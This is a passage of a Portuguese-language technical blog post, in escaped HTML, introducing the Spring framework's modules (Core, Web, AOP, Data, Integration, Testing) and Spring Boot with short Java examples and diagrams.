    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Spring Core e sua relação com os demais módulos (pluralsight.com)&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;O curso da &lt;em&gt;Pluralsight&lt;/em&gt;, &lt;a href=&quot;https://www.pluralsight.com/courses/spring-big-picture&quot; title=&quot;Curso mais do que recomendado&quot;&gt;&quot;Spring: The Big Picture&quot;&lt;/a&gt;, define o &lt;em&gt;Spring Core&lt;/em&gt; como:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Spring Core is a dependency injection container.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Mais uma vez voltamos a citar &lt;em&gt;Dependency Injection&lt;/em&gt;. E se esse &lt;em&gt;pattern&lt;/em&gt; ainda soa exotérico para você,
recomendo o ótimo &lt;a href=&quot;https://www.freecodecamp.org/news/a-quick-intro-to-dependency-injection-what-it-is-and-when-to-use-it-7578c84fa88f/&quot; title=&quot;Leia o artigo na íntegra&quot;&gt;&quot;A quick intro to Dependency Injection: what it is, and when to use it&quot;&lt;/a&gt;, do &lt;em&gt;freeCodeCamp&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Além disso, é o módulo que fornece funcionalidades como &lt;em&gt;i18n&lt;/em&gt;, validações, &lt;em&gt;data binding&lt;/em&gt;, conversores, etc. De maneira geral, é a
&quot;cola&quot; e o fundamento de todo o &lt;em&gt;framework&lt;/em&gt;.&lt;/p&gt;
&lt;h3&gt;2: Web&lt;/h3&gt;
&lt;p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot; style=&quot;&quot;&gt;
    &lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 768px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/e09cae30de5240d9bce6b13f6bf93de4/4cd6f/spring-mvc-request-response.png&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 39.0625%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAICAYAAAD5nd/tAAAACXBIWXMAABYlAAAWJQFJUiTwAAACGElEQVQoz22ST0jTYRyHf6coIww6ZBZBfw4dREEqryNFoVaaBkmmUdDBS4eCjoaZm86EqMhibIlZc2r4JxOGWzmVKEKinMvUMlAc002d8+c2t/f39OYOFfRePreH53n5KvznabNf0Vqq0J5Xoz27Be11bAR8BJdXWFuP4FdjzIcjhGMxItEgaiSAKleIOEokusHCQpBAYIlwaJWYBIo2A+QqaCU7EIVboXgb3uZ68k/qudfRS7plBMXkwPTOTftbHQ/6jmN26AisTqP4fCE8nu+MjU0z+9OPLwxxez0USVDFPkRZGlxKx2M1UnDqNCZbF9ubBlFqXnN7yEmLI5O6lwe4/yqLxdAkyr+xIpncYUI7vwtRmUHiymG4vJ/xp0ZKL1bQaO8ly/aB9CY3hmEX3cN6LAN6rAMFSaCmaX/xEmibwHrEhTTEtaPEKzPh6iHGrQZKy8ox2ro5Zv/IQfMI1W4nnYO5NLvOyuQTEvgNRQgNVVVZW1OJrqtJYGcDnNkC5XsleLdM37OZrC8spqGth9THbpQ7/dQMuWgdyKah6wgP+7KThnNzy3z+MsXoqJcJ7w8Wo1LUVgt58jfOpSKKUqAkRRoa0eXlc1ca7nwyhFLbj2HkDS+cOTT2ZPCoP4dAaAolkRB/zkXaJn7vzBjCfB1huSn3BrRWsT4/w8TkFL7gEp8WVnk/vyJPJyQhXnzLHvwrXuKJCL8Aq131d2apcasAAAAASUVORK5CYII=&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;Diagrama com requisição e resposta através do Spring MVC&quot;
        title=&quot;Fluxo de requisições e respostas através do Spring MVC (pluralsight.com)&quot;
        src=&quot;/static/e09cae30de5240d9bce6b13f6bf93de4/e5715/spring-mvc-request-response.png&quot;
        srcset=&quot;/static/e09cae30de5240d9bce6b13f6bf93de4/8514f/spring-mvc-request-response.png 192w,
/static/e09cae30de5240d9bce6b13f6bf93de4/804b2/spring-mvc-request-response.png 384w,
/static/e09cae30de5240d9bce6b13f6bf93de4/e5715/spring-mvc-request-response.png 768w,
/static/e09cae30de5240d9bce6b13f6bf93de4/4ad3a/spring-mvc-request-response.png 1152w,
/static/e09cae30de5240d9bce6b13f6bf93de4/71c1d/spring-mvc-request-response.png 1536w,
/static/e09cae30de5240d9bce6b13f6bf93de4/4cd6f/spring-mvc-request-response.png 2449w&quot;
        sizes=&quot;(max-width: 768px) 100vw, 768px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Fluxo de requisições e respostas através do Spring MVC (pluralsight.com)&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;O módulo &lt;em&gt;Spring Web&lt;/em&gt; é responsável por lidar com requisições &lt;em&gt;web&lt;/em&gt;. Isso pode ser feito através de dois &lt;em&gt;frameworks&lt;/em&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Spring Web MVC&lt;/strong&gt;: Que fornece ferramental para atender requisições e prover respostas através de &lt;em&gt;Servlets&lt;/em&gt;;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Spring WebFlux&lt;/strong&gt;: A forma de fazer aplicações &lt;em&gt;web&lt;/em&gt; reativas (&lt;em&gt;non-blocking&lt;/em&gt;) com &lt;em&gt;Java&lt;/em&gt; e &lt;em&gt;Spring&lt;/em&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;O primeiro é a forma mais comum de fazer &lt;em&gt;web&lt;/em&gt;, já o segundo envolve conceitos de requisições não-bloqueantes, que
pretendo abordar melhor em &lt;em&gt;posts&lt;/em&gt; vindouros.&lt;/p&gt;
&lt;h3&gt;3: AOP&lt;/h3&gt;
&lt;p&gt;&lt;em&gt;AOP&lt;/em&gt; é acrônimo para o pomposo &lt;em&gt;Aspect-Oriented Programming&lt;/em&gt;, que tem por finalidade
aumentar a modularidade ao permitir a separação de &lt;em&gt;cross-cutting concerns&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Ou, como muito bem define a &lt;a href=&quot;https://pt.wikipedia.org/wiki/Programa%C3%A7%C3%A3o_orientada_a_aspecto&quot; title=&quot;Programação Orientada a Aspectos&quot;&gt;&lt;em&gt;Wikipedia&lt;/em&gt;&lt;/a&gt;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Em Ciência da Computação, programação orientada a aspectos ou POA, é um paradigma de programação de computadores, criado por Gregor Kiczales e equipe na Xerox PARC (divisão de pesquisa da empresa Xerox), que permite aos desenvolvedores de software organizar o código fonte de acordo com a importância de uso na aplicação e separar em módulos (separation of concerns). Em contrapartida aos programas escritos no paradigma orientado a objetos, que possui código alheio a implementação do comportamento do objeto; todo código utilizado para implementar funcionalidades secundárias e que se encontra espalhado por toda a aplicação (crosscutting concern). A POA permite que esse código seja encapsulado e modularizado.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;E se ainda está complicado de compreender, imagine a necessidade de aplicar a checagem
de permissões por operações do usuário. É o tipo de responsabilidade que pode ficar
espalhada pela aplicação. Com &lt;em&gt;Spring AOP&lt;/em&gt; temos algo como abaixo:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;java&quot;&gt;&lt;pre class=&quot;language-java&quot;&gt;&lt;code class=&quot;language-java&quot;&gt;&lt;span class=&quot;token annotation punctuation&quot;&gt;@PreAuthorize&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;hasRole(&apos;admin&apos;)&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;sensitiveOperation&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Os detalhes da implementação de segurança não interessam ao &lt;code class=&quot;language-text&quot;&gt;sensitiveOperation&lt;/code&gt;, assim
como o inverso.&lt;/p&gt;
&lt;h3&gt;4: Data&lt;/h3&gt;
&lt;p&gt;Com o &lt;em&gt;Spring Data&lt;/em&gt;, interagir com dados fica muita mais simples. Abaixo, um exemplo
de &lt;code class=&quot;language-text&quot;&gt;SELECT&lt;/code&gt; utilizando &lt;em&gt;JDBC&lt;/em&gt; &quot;na unha&quot;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;java&quot;&gt;&lt;pre class=&quot;language-java&quot;&gt;&lt;code class=&quot;language-java&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;// Exemplo de database query com JDBC&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;try&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token class-name&quot;&gt;Statement&lt;/span&gt; stmnt &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; conn&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;createStatement&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

    &lt;span class=&quot;token keyword&quot;&gt;try&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;token class-name&quot;&gt;ResultSet&lt;/span&gt; rs &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; stmnt&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;executeQuery&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;
            &lt;span class=&quot;token string&quot;&gt;&quot;SELECT COUNT(*) FROM foo&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

        &lt;span class=&quot;token keyword&quot;&gt;try&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
            rs&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;next&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
            &lt;span class=&quot;token keyword&quot;&gt;int&lt;/span&gt; cnt &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; rs&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;getInt&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;finally&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
            rs&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;close&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;finally&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
        stmnt&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;close&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;catch&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token class-name&quot;&gt;SQLException&lt;/span&gt; e&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token comment&quot;&gt;// handle error&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;finally&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;try&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
        conn&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;close&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;catch&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token class-name&quot;&gt;SQLException&lt;/span&gt; e&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;token comment&quot;&gt;// handle error&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Agora o mesmo ensaio, só que com &lt;em&gt;Spring Data&lt;/em&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;java&quot;&gt;&lt;pre class=&quot;language-java&quot;&gt;&lt;code class=&quot;language-java&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;int&lt;/span&gt; cnt &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;JdbcTemplate&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;ds&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;queryForInt&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;SELECT COUNT(*) FROM foo&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Nem preciso mencionar que gerenciar transações também fica muito mais simples:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;java&quot;&gt;&lt;pre class=&quot;language-java&quot;&gt;&lt;code class=&quot;language-java&quot;&gt;&lt;span class=&quot;token annotation punctuation&quot;&gt;@Transactional&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;operation&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token comment&quot;&gt;// 1 ou mais queries&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Para finalizar, controle de erros e inclusive ferramental para testes automatizados,
são garantias fornecidas pelo &lt;em&gt;Spring Data&lt;/em&gt;.&lt;/p&gt;
&lt;h3&gt;5: Integration&lt;/h3&gt;
&lt;p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot; style=&quot;&quot;&gt;
    &lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 768px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/1a714cf6158bcc94b2ef1a6ac10d34df/72923/spring-integration.png&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 45.3125%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAJCAYAAAAywQxIAAAACXBIWXMAABYlAAAWJQFJUiTwAAABAUlEQVQoz42RaXKDMAyFcyfwAgXCYgMTGJaw3f8kr5ZaOiQknfx482xL+iTBRWsNpRTIdymtnNzZvaswgowSqCiG+op/3jhHP9TsuvwLlBLymsO3Dfy6hzA3fvsY+AxmYGYhHFDFV3YtxWPzp5o/4BEqHUgQzPfgpRaem8wnL26QQkA4Uc6rQU4TBkGAoihYxjg3BmmWIU4SZM6LPOdYmqYIw/AEPQGNAwzDgHVd2bdtw/1+R9M0GMcRXddhWRY+l2X5fuUjkAr6vmcQAQg8TRNDSXSnWF3Xn61MnWmttm0xzzNPszehhlVVcQ7lvl35GBC/H55kreUpCUITHeOvfso3SVY0e0lBpVQAAAAASUVORK5CYII=&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;Imagem com a afirmação: Integração é sobre fazer diferentes sistemas e aplicações funcionarem juntos&quot;
        title=&quot;Integração é sobre fazer diferentes sistemas e aplicações funcionarem juntos (pluralsight.com)&quot;
        src=&quot;/static/1a714cf6158bcc94b2ef1a6ac10d34df/e5715/spring-integration.png&quot;
        srcset=&quot;/static/1a714cf6158bcc94b2ef1a6ac10d34df/8514f/spring-integration.png 192w,
/static/1a714cf6158bcc94b2ef1a6ac10d34df/804b2/spring-integration.png 384w,
/static/1a714cf6158bcc94b2ef1a6ac10d34df/e5715/spring-integration.png 768w,
/static/1a714cf6158bcc94b2ef1a6ac10d34df/4ad3a/spring-integration.png 1152w,
/static/1a714cf6158bcc94b2ef1a6ac10d34df/71c1d/spring-integration.png 1536w,
/static/1a714cf6158bcc94b2ef1a6ac10d34df/72923/spring-integration.png 3114w&quot;
        sizes=&quot;(max-width: 768px) 100vw, 768px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Integração é sobre fazer diferentes sistemas e aplicações funcionarem juntos (pluralsight.com)&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;A intenção do &lt;em&gt;Spring Integration&lt;/em&gt; é fazer com que sistemas se conversem. Não é só sobre expor suas soluções, mas também sobre consumir outros serviços.&lt;/p&gt;
&lt;p&gt;Por exemplo, para criar um &lt;em&gt;endpoint&lt;/em&gt; &lt;em&gt;REST&lt;/em&gt;, anotações como &lt;code class=&quot;language-text&quot;&gt;RestController&lt;/code&gt;
e &lt;code class=&quot;language-text&quot;&gt;GetMapping&lt;/code&gt; são ferramentas essenciais, fornecidas por esse módulo:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;java&quot;&gt;&lt;pre class=&quot;language-java&quot;&gt;&lt;code class=&quot;language-java&quot;&gt;&lt;span class=&quot;token annotation punctuation&quot;&gt;@RestController&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;AccountController&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;

    &lt;span class=&quot;token annotation punctuation&quot;&gt;@GetMapping&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;/account/{id}&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;Account&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;find&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token annotation punctuation&quot;&gt;@PathVariable&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;int&lt;/span&gt; id&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Outro companheiro fiel é o &lt;code class=&quot;language-text&quot;&gt;RestTemplate&lt;/code&gt;, que você pode
&lt;a href=&quot;https://www.baeldung.com/rest-template&quot; title=&quot;The Guide to RestTemplate&quot;&gt;ler mais aqui&lt;/a&gt;.&lt;/p&gt;
&lt;h3&gt;6: Testing&lt;/h3&gt;
&lt;p&gt;O &lt;em&gt;Dependency Injection&lt;/em&gt; é uma excelente ideia para garantir modularização e
diminuir as amarras do acoplamento.&lt;/p&gt;
&lt;p&gt;Com o &lt;em&gt;Spring Testing&lt;/em&gt;, utilizar &lt;a href=&quot;/2014/08/07/os-testes-e-os-dubles-parte-1.html&quot; title=&quot;Os testes e os dublês&quot;&gt;&lt;em&gt;mocks&lt;/em&gt;, &lt;em&gt;stubs&lt;/em&gt; e &lt;em&gt;spies&lt;/em&gt;&lt;/a&gt;, como dependências
injetáveis, fica muito mais fácil. Testar unitariamente (ou até mesmo de forma integrada) a sua aplicação é algo
prático e factível.&lt;/p&gt;
&lt;h2&gt;O Spring Boot&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot; style=&quot;&quot;&gt;
    &lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 768px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/068a89a9df9ed09f4d388e7a09c9e81d/82f58/spring-boot-starter-dependencies.png&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 66.14583333333334%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAANCAIAAAAmMtkJAAAACXBIWXMAAAsTAAALEwEAmpwYAAABjUlEQVQoz42SCW+jMBCF+f9/rtuk5HAOTCAQ6ttgwBd0QF1ppaVSrU8jy9LzjN9zMv9uTdOsuhfR+VPeK3mnGptRJL8UhzBJXTYCZSzN2ZGIS9fT5Ic+cZr8PMV5CkCMHsSNxCB78kvJUUZTZci2uB90JS4Pfi4Eeogz1bl1vpbZjaWYnTA7Xslems8NcYxza1QlUA5iDvVEFLYuMF3UHL3EFag4+jv29A+rWBvJFf6UWS1uVGayLUOIT3FH5P3GPm40PTRvomsS54daZYuHa21U7pzTRhB1xfx0pQeYn+tHjMH70XnjfL9iQnCJdQazA9wH9c4OpThbZ83QMp1zXQhdgFK2FVj4/wMTOA3BxuBWYGNDnFQnaokQ/TiRXcaOoi2sG1hbNjpfUJjph/fDtmFdr6EhX9oWTD3gewyjgfkvdL9AdiU/OWe2oppm0VFE/iCyOy+8g+fWjda2bsXbzo4awt/OGVzUPWkH1g20HUg/yn7s4IdkizspInuI2m2O/cN1FoJ4KVx/h4LB/C9Nf+VQACb3owAAAABJRU5ErkJggg==&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;Imagem com as dependências do spring-boot-starter-web&quot;
        title=&quot;Árvore de dependências do Spring Boot (journaldev.com)&quot;
        src=&quot;/static/068a89a9df9ed09f4d388e7a09c9e81d/e5715/spring-boot-starter-dependencies.png&quot;
        srcset=&quot;/static/068a89a9df9ed09f4d388e7a09c9e81d/8514f/spring-boot-starter-dependencies.png 192w,
/static/068a89a9df9ed09f4d388e7a09c9e81d/804b2/spring-boot-starter-dependencies.png 384w,
/static/068a89a9df9ed09f4d388e7a09c9e81d/e5715/spring-boot-starter-dependencies.png 768w,
/static/068a89a9df9ed09f4d388e7a09c9e81d/4ad3a/spring-boot-starter-dependencies.png 1152w,
/static/068a89a9df9ed09f4d388e7a09c9e81d/82f58/spring-boot-starter-dependencies.png 1387w&quot;
        sizes=&quot;(max-width: 768px) 100vw, 768px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Árvore de dependências do Spring Boot (journaldev.com)&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Ok. Finalmente! O que é o &lt;em&gt;Spring Boot&lt;/em&gt;?&lt;/p&gt;
&lt;p&gt;A documentação oficial &lt;a href=&quot;https://spring.io/projects/spring-boot&quot; title=&quot;Spring Boot documentation&quot;&gt;define da seguinte forma&lt;/a&gt;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Spring Boot makes it easy to create stand-alone, production-grade Spring based Applications that you can &quot;just run&quot;.&lt;/p&gt;
&lt;p&gt;We take an opinionated view of the Spring platform and third-party libraries so you can get started with minimum fuss. Most Spring Boot applications need minimal Spring configuration.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Imagine que para utilizar o &lt;em&gt;Spring&lt;/em&gt;, cada módulo descrito acima é uma dependência
que precisa ser instalada e configurada. E com isso, você vai ter uma porção de código
&lt;em&gt;boilerplate&lt;/em&gt; para executar o seu projeto.&lt;/p&gt;
&lt;p&gt;Com &lt;em&gt;Spring Boot&lt;/em&gt;, a biblioteca toma algumas decisões por você, configurando e declarando
quais dependências seu projeto utilizará. Assim, com o mínimo de esforço você consegue
ter a sua aplicação &lt;em&gt;web&lt;/em&gt; funcionando em tempo recorde. Com alguns outros agrados, como métricas,
&lt;em&gt;health check&lt;/em&gt;, utilitários para &lt;em&gt;deployment&lt;/em&gt;, etc.&lt;/p&gt;
&lt;p&gt;Além do &quot;auto-configuration&quot;, outro aspecto marcante do &lt;em&gt;Spring Boot&lt;/em&gt; é que
ele é &lt;em&gt;standalone&lt;/em&gt;. Ou seja, toda aquela dança que tivemos com o &lt;em&gt;Tomcat&lt;/em&gt;
nos &lt;em&gt;posts&lt;/em&gt; anteriores não é necessária aqui. O &lt;em&gt;Spring Boot&lt;/em&gt; &quot;embeda&quot;
o servidor &lt;em&gt;web&lt;/em&gt;, e se encarrega disso para você.&lt;/p&gt;
&lt;p&gt;É instalar e sair escrevendo código para o negócio, aos invés de
escrever código para o &lt;em&gt;framework&lt;/em&gt;.&lt;/p&gt;
&lt;h2&gt;Considerações finais&lt;/h2&gt;
